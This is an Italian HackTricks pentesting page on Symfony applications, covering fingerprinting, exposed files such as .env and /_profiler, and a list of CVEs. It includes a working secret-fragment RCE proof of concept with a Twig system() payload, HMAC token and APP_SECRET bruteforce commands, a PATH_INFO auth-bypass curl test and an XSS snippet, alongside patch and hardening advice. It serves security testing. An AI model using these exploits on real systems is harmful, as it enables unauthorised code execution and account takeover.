Symfony
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Symfony è uno dei framework PHP più utilizzati e compare regolarmente nelle valutazioni di target enterprise, e-commerce e CMS (Drupal, Shopware, Ibexa, OroCRM … tutti integrano componenti Symfony). Questa pagina raccoglie suggerimenti offensivi, mis-configurazioni comuni e vulnerabilità recenti da avere nella checklist quando si scopre un’applicazione Symfony.
Nota storica: Gran parte dell’ecosistema gira ancora sul ramo 5.4 LTS (EOL Novembre 2025). Symfony 7.4 è diventato il nuovo LTS in Nov 2025 e riceverà fix di sicurezza fino a Nov 2029. Verifica sempre l’esatto livello di patch perché molti advisory 2024‑2026 sono stati risolti solo in micro-release.
Recon & Enumeration
Finger-printing
- Intestazioni di risposta HTTP:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linko cookie che iniziano consf_redirect,sf_session,MOCKSESSID. - Codice sorgente leaks (
composer.json,composer.lock,/vendor/…) spesso rivelano la versione esatta:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Rotte pubbliche che esistono solo su Symfony:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(pretty error pages)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith o wordlists per ffuf/feroxbuster:
symfony.txt→ cerca/_fragment,/_profiler,.env,.htaccess.
Interesting files & endpoints
| Path | Perché è importante |
|---|---|
/.env, /.env.local, /.env.prod | Spesso esposti a causa di errata distribuzione → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg | Divulgazione del codice sorgente → credenziali + logica di business |
/var/log/*.log, /log/dev.log | Errata configurazione della web-root espone stack-traces |
/_profiler | Storico completo delle richieste, configurazione, service container, APP_SECRET (≤ 3.4) |
/_fragment | Punto di ingresso usato da ESI/HInclude. Abuso possibile una volta noto APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE se accessibile (CVE-2017-9841) |
/index.php/_error/{code} | Finger-printing & talvolta leak di trace delle eccezioni |
High-impact Vulnerabilities
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 originariamente, ma ancora riscontrabile su target moderni quando il debug è lasciato abilitato o
.envè esposto. - Una volta noto il
APP_SECRETa 32 caratteri, costruisci un token HMAC e sfrutta il controller internorender()per eseguire Twig arbitrario:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Excellent write-up & exploitation script: Ambionics blog (linked in References).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- Colpisce le versioni inferiori a 5.4.50, 6.4.29 e 7.3.7. La normalizzazione dei path poteva rimuovere lo slash iniziale
/, rompendo regole di controllo accessi che assumono/adminecc. - Test rapido:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ se raggiunge le rotte admin senza autenticazione, l’hai trovato. - Patch: aggiorna
symfony/http-foundationo l’intero framework al livello di patch corretto.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Colpisce le versioni inferiori a 5.4.51, 6.4.33, 7.3.11, 7.4.5 e 8.0.5 su Windows quando PHP è eseguito da MSYS2 (Git-Bash, mingw).
Processnon quotava correttamente=portando a percorsi corrotti; comandi distruttivi (rmdir,del) possono puntare a directory non intenzionate. - Se puoi caricare uno script PHP o influenzare Composer/CLI helpers che invocano
Process, costruisci argomenti con=(es.E:/=tmp/delete) per causare riscritture di percorso.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Quando
register_argv_argc=One usando runtime non-SAPI, query string appositamente costruite potevano modificareAPP_ENV/APP_DEBUGtramite il parsing diargv. Patch in 5.4.46/6.4.14/7.1.7. - Controlla la presenza di
/?--env=prodo simili accettati nei log.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Caratteri speciali nell’URI non venivano validati nello stesso modo dei browser, permettendo redirect verso domini controllati dall’attaccante. Fix in 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-componentprima della 2.25.1 renderizzano{{ attributes }}senza escaping → attribute injection/XSS. Se l’app permette agli utenti di definire attributi dei componenti (admin CMS, email templating) puoi concatenare per ottenere script injection.- Aggiorna entrambi i pacchetti a 2.25.1+. Come exploit manuale, inserisci JS in un valore attributo passato a un componente custom e forza il rendering.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- Il componente
Processcercava la working directory corrente prima diPATHsu Windows. Un attaccante in grado di caricaretar.exe,cmd.exe, ecc. in una web-root scrivibile e triggerareProcess(es. estrazione file, generazione PDF) poteva ottenere esecuzione di comandi. - Patch in 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- L’authentication guard riutilizzava un session ID esistente dopo il login. Se un attaccante imposta il cookie prima che la vittima si autentichi, può hijackare l’account dopo il login.
9. Twig sandbox XSS – CVE-2023-46734
- In applicazioni che espongono template controllati dall’utente (admin CMS, email builder) il filtro
nl2brpoteva essere abusato per bypassare la sandbox e iniettare JS.
10. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system idproduce un payload Phar che scatena RCE quando un unserialize() incontra classi comesfNamespacedParameterHolder. Controlla endpoint di upload file e wrapperphar://.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce di un APP_SECRET debole
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE tramite Symfony Console esposto
Se bin/console è raggiungibile tramite php-fpm o caricamento diretto via CLI:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Usa deserialization gadgets all’interno della cache directory oppure scrivi un Twig template maligno che verrà eseguito alla prossima richiesta.
Prova rapidamente il bypass PATH_INFO (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Se l’output renderizzato esegue l’echo dell’attributo senza escaping, l’XSS ha successo. Applicare la patch a 2.25.1+.
Note difensive
- Non distribuire mai debug (
APP_ENV=dev,APP_DEBUG=1) in produzione; bloccare/app_dev.php,/_profiler,/_wdtnella configurazione del web-server. - Conservare i secrets in env vars o
vault/secrets.local.php, mai in file accessibili tramite il document-root. - Implementare una gestione delle patch – iscriversi agli security advisories di Symfony e mantenere almeno il livello patch LTS (5.4.x fino a Nov 2025, 6.4 fino a Nov 2027, 7.4 fino a Nov 2029).
- Se esegui su Windows, effettua l’upgrade immediatamente per mitigare CVE-2024-51736 & CVE-2026-24739 oppure aggiungi una difesa in profondità tramite
open_basedir/disable_functions.
Strumenti offensivi utili
- ambionics/symfony-exploits – secret-fragment RCE, scoperta delle route del debugger.
- phpggc – gadget chains pronte per Symfony 1 & 2.
- sf-encoder – piccolo helper per calcolare l’HMAC di
_fragment(implementazione in Go).
Riferimenti
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


